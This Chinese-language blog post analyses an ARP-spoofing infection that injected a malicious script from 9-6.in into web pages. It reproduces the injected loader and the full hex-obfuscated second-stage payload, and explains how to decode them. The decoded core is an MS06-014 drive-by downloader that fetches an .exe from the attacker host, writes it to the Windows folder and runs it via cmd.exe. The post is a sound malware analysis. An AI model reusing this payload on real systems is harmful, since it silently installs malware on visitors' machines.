解析arp病毒背后利用的Javascript技术

本文的目的是探讨JS相关技术，并不是以杀毒为主要目的，杀毒只是为讲解一些JS做铺垫的，呵呵，文章有点长，倒杯咖啡或者清茶慢慢看，学习切勿急躁！

最近公司的网络中了这两天闹的很欢的ARP病毒，导致大家都无法上网，给工作带来了很大的不方便，在这里写下杀毒的过程，希望对大家能有帮助！

现象：打开部分网页显示为乱码，好像是随机的行为，但是看似又不是，因为它一直在监视msn.com，呵呵，可能和微软有仇吧，继续查看源代码，发现头部有一个js文件链接----<script src=http://9-6.in/n.js></script>；

来源：经过一番网络搜索，发现这个域名是印度域名，而IP地址却是美国的，而且域名的注册日期是7月25日，看来一切都是预谋好了的，还是不管这个了，先解决问题吧；

分析：
1、先把（http://9-6.in/n.js）这个JS文件下载下来，代码如下：

    document.writeln("<script>window.onerror=function(){return true;}<\/script>");
    document.writeln("<script src=\"http:\/\/9-6.in\/S368\/NewJs2.js\"><\/script>");
    document.writeln("<script>");
    document.writeln("function StartRun(){");
    document.writeln("var Then = new Date() ");
    document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)");
    document.writeln("var cookieString = new String(document.cookie)");
    document.writeln("var cookieHeader = \"Cookie1=\" ");
    document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
    document.writeln("if (beginPosition != -1){ ");
    document.writeln("} else ");
    document.writeln("{ document.cookie = \"Cookie1=POPWINDOS;expires=\"+ Then.toGMTString() ");
    document.writeln("document.write(\’<iframe width=0 height=0 src=\"http:\/\/9-6.IN\/s368\/T368.htm\"><\/iframe>\’);");
    document.writeln("}");
    document.writeln("}");
    document.writeln("StartRun();");
    document.writeln("<\/script>")

其中第一句window.onerror=function(){return true;}就先把JS错误屏蔽掉，真够狠的，呵呵，不这样怎么隐藏自己呢，哈哈！然后还有个JS文件http://9-6.in/S368/NewJs2.js，先继续往下看，找到StartRun();运行一个函数，函数的主要作用是写COOKIE，日期为保存一天，然后还用隐藏框架加载了一个文件（http://9-6.IN/s368/T368.htm），其余就没有什么特别的了；
2、下载（http://9-6.in/S368/NewJs2.js）这个文件，代码如下：

StrInfo =  "\x3c\x73\x63\x72\x69\x70\x74\x3e\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x7b\x72\x65\x74\x75\x72\x6e \x74\x72\x75\x65\x3b\x7d\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e" +"\n"+
  "\x3c\x73\x63\x72\x69\x70\x74\x3e" +"\n"+
  " \x44\x5a\x3d\’\\\x78\x36\x38\\\x78\x37\x34\\\x78\x37\x34\\\x78\x37\x30\\\x78\x33\x41\\\x78\x32\x46\\\x78\x32\x46\\\x78\x33\x39\\\x78\x32\x44\\\x78\x33\x36\\\x78\x32\x45\\\x78\x36\x39\\\x78\x36\x45\\\x78\x32\x46\\\x78\x35\x33\\\x78\x33\x33\\\x78\x33\x36\\\x78\x33\x38\\\x78\x32\x46\\\x78\x35\x33\\\x78\x33\x33\\\x78\x33\x36\\\x78\x33\x38\\\x78\x32\x45\\\x78\x36\x35\\\x78\x37\x38\\\x78\x36\x35\’\x3b" +"\n"+
  " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\’\’\x3b" +"\n"+
  "\x66\x75\x6e\x63\x74\x69\x6f\x6e \x47\x6e\x4d\x73\x28\x6e\x29 " +"\n"+
  "\x7b " +"\n"+
  " \x76\x61\x72 \x6e\x75\x6d\x62\x65\x72\x4d\x73 \x3d \x4d\x61\x74\x68\x2e\x72\x61\x6e\x64\x6f\x6d\x28\x29\x2a\x6e\x3b" +"\n"+
  " \x72\x65\x74\x75\x72\x6e \’\\\x78\x37\x45\\\x78\x35\x34\\\x78\x36\x35\\\x78\x36\x44\\\x78\x37\x30\’\x2b\x4d\x61\x74\x68\x2e\x72\x6f\x75\x6e\x64\x28\x6e\x75\x6d\x62\x65\x72\x4d\x73\x29\x2b\’\\\x78\x32\x45\\\x78\x37\x34\\\x78\x36\x44\\\x78\x37\x30\’\x3b" +"\n"+
  "\x7d " +"\n"+
  " \x74\x72\x79 " +"\n"+
  "\x7b" +"\n"+
  " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\’\’\x3b" +"\n"+
  " \x76\x61\x72 \x42\x66\x3d\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\"\\\x78\x36\x46\\\x78\x36\x32\\\x78\x36\x41\\\x78\x36\x35\\\x78\x36\x33\\\x78\x37\x34\"\x29\x3b" +"\n"+
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  " \x76\x61\x72 \x4b\x78\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x34\x44\\\x78\x36\x39\\\x78\x36\x33\\\x78\x37\x32\\\x78\x36\x46\\\x78\x37\x33\\\x78\x36\x46\\\x78\x36\x36\\\x78\x37\x34\\\x78\x32\x45\\\x78\x35\x38\"\x2b\"\\\x78\x34\x44\\\x78\x34\x43\\\x78\x34\x38\\\x78\x35\x34\\\x78\x35\x34\\\x78\x35\x30\"\x2c\"\"\x29\x3b" +"\n"+
  " \x76\x61\x72 \x41\x53\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x34\x31\\\x78\x36\x34\\\x78\x36\x46\\\x78\x36\x34\\\x78\x36\x32\\\x78\x32\x45\\\x78\x35\x33\\\x78\x37\x34\\\x78\x37\x32\\\x78\x36\x35\\\x78\x36\x31\\\x78\x36\x44\"\x2c\"\"\x29\x3b" +"\n"+
  " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\’\’\x3b" +"\n"+
  " \x41\x53\x2e\x74\x79\x70\x65\x3d\x31\x3b" +"\n"+
  " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\’\’\x3b" +"\n"+
  " \x4b\x78\x2e\x6f\x70\x65\x6e\x28\"\\\x78\x34\x37\\\x78\x34\x35\\\x78\x35\x34\"\x2c \x44\x5a\x2c\x30\x29\x3b" +"\n"+
  " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\’\’\x3b" +"\n"+
  " \x4b\x78\x2e\x73\x65\x6e\x64\x28\x29\x3b" +"\n"+
  " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\’\’\x3b" +"\n"+
  " \x4e\x73\x31\x3d\x47\x6e\x4d\x73\x28\x39\x39\x39\x39\x29\x3b" +"\n"+
  " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\’\’\x3b" +"\n"+
  " \x76\x61\x72 \x63\x46\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x35\x33\\\x78\x36\x33\\\x78\x37\x32\\\x78\x36\x39\\\x78\x37\x30\\\x78\x37\x34\\\x78\x36\x39\\\x78\x36\x45\\\x78\x36\x37\\\x78\x32\x45\\\x78\x34\x36\\\x78\x36\x39\\\x78\x36\x43\\\x78\x36\x35\\\x78\x35\x33\\\x78\x37\x39\\\x78\x37\x33\\\x78\x37\x34\\\x78\x36\x35\\\x78\x36\x44\\\x78\x34\x46\\\x78\x36\x32\\\x78\x36\x41\\\x78\x36\x35\\\x78\x36\x33\\\x78\x37\x34\"\x2c\"\"\x29\x3b" +"\n"+
  " \x76\x61\x72 \x4e\x73\x54\x6d\x70\x3d\x63\x46\x2e\x47\x65\x74\x53\x70\x65\x63\x69\x61\x6c\x46\x6f\x6c\x64\x65\x72\x28\x30\x29\x3b \x4e\x73\x31\x3d \x63\x46\x2e\x42\x75\x69\x6c\x64\x50\x61\x74\x68\x28\x4e\x73\x54\x6d\x70\x2c\x4e\x73\x31\x29\x3b \x41\x53\x2e\x4f\x70\x65\x6e\x28\x29\x3b\x41\x53\x2e\x57\x72\x69\x74\x65\x28\x4b\x78\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79\x29\x3b" +"\n"+
  " \x41\x53\x2e\x53\x61\x76\x65\x54\x6f\x46\x69\x6c\x65\x28\x4e\x73\x31\x2c\x32\x29\x3b \x41\x53\x2e\x43\x6c\x6f\x73\x65\x28\x29\x3b \x76\x61\x72 \x71\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x35\x33\\\x78\x36\x38\\\x78\x36\x35\\\x78\x36\x43\\\x78\x36\x43\\\x78\x32\x45\\\x78\x34\x31\\\x78\x37\x30\\\x78\x37\x30\\\x78\x36\x43\\\x78\x36\x39\\\x78\x36\x33\\\x78\x36\x31\\\x78\x37\x34\\\x78\x36\x39\\\x78\x36\x46\\\x78\x36\x45\"\x2c\"\"\x29\x3b" +"\n"+
  " \x6f\x6b\x31\x3d\x63\x46\x2e\x42\x75\x69\x6c\x64\x50\x61\x74\x68\x28\x4e\x73\x54\x6d\x70\x2b\’\\\x78\x35\x43\\\x78\x35\x43\\\x78\x37\x33\\\x78\x37\x39\\\x78\x37\x33\\\x78\x37\x34\\\x78\x36\x35\\\x78\x36\x44\\\x78\x33\x33\\\x78\x33\x32\’\x2c\’\\\x78\x36\x33\\\x78\x36\x44\\\x78\x36\x34\\\x78\x32\x45\\\x78\x36\x35\\\x78\x37\x38\\\x78\x36\x35\’\x29\x3b" +"\n"+
  " \x71\x2e\x53\x48\x65\x4c\x4c\x45\x78\x65\x63\x75\x74\x65\x28\x6f\x6b\x31\x2c\’\\\x78\x32\x30\\\x78\x32\x46\\\x78\x36\x33 \’\x2b\x4e\x73\x31\x2c\"\"\x2c\"\\\x78\x36\x46\\\x78\x37\x30\\\x78\x36\x35\\\x78\x36\x45\"\x2c\x30\x29\x3b" +"\n"+
  " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\’\’\x3b" +"\n"+
  "\x7d " +"\n"+
  " \x63\x61\x74\x63\x68\x28\x4d\x73\x49\x29 \x7b \x4d\x73\x49\x3d\x31\x3b \x7d" +"\n"+
  " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\’\’\x3b" +"\n"+
  "\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e"
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](StrInfo);

这个代码有点长哦，而且有保护措施，全部转换为十六进制，不过不要害怕，我们有办法解决，首先得确保你已经安装了UE，然后打开UE，把代码粘贴进去（废话，呵呵），把\x替换为％，然后用html代码转换功能，解码，就可以得到第一次解码的代码，第一次？？？，呵呵，这个代码的作者很变态的，做了两次编码，所以我得进行两次解码才行，重复刚才的步骤，然后你就可以看到最终的“原始”代码了；
具体的代码我就不帖出来了，有一定的危害性，相信大家看了上面的步骤都能自己找到代码，这里之说一下比较核心的代码吧；
//核心代码

  " var Bf=document.createElement(\"\o\b\j\e\c\t\");" +"\n"+
  " Bf.setAttribute(\"\c\l\a\s\s\i\d\",\"\c\l\s\i\d\:\B\D\9\6\C\5\5\6\-\6\5\A\3\-\1\1\D\0\-\9\8\3\A\-\0\0\C\0\4\F\C\2\9\E\3\6\");" +"\n"+
  " var Kx=Bf.CreateObject(\"\M\i\c\r\o\s\o\f\t\.\X\"+\"\M\L\H\T\T\P\",\"\");" +"\n"+
  " var AS=Bf.CreateObject(\"\A\d\o\d\b\.\S\t\r\e\a\m\",\"\");" +"\n"+
.............
  " var cF=Bf.CreateObject(\"\S\c\r\i\p\t\i\n\g\.\F\i\l\e\S\y\s\t\e\m\O\b\j\e\c\t\",\"\");" +"\n"+
  " var NsTmp=cF.GetSpecialFolder(0); Ns1= cF.BuildPath(NsTmp,Ns1); AS.Open();AS.Write(Kx.responseBody);" +"\n"+
  " AS.SaveToFile(Ns1,2); AS.Close(); var q=Bf.CreateObject(\"\S\h\e\l\l\.\A\p\p\l\i\c\a\t\i\o\n\",\"\");" +"\n"+
  " ok1=cF.BuildPath(NsTmp+\’\\\\\s\y\s\t\e\m\3\2\’,\’\c\m\d\.\e\x\e\’);" +"\n"+
  " q.SHeLLExecute(ok1,\’\ \/\c \’+Ns1,\"\",\"\o\p\e\n\",0);" +"\n"+

上面的就是最为核心的代码，利用MS0614漏洞、创建JS异步对象获取病毒（*.exe）文件，然后运行，这样就达到它的目的啦！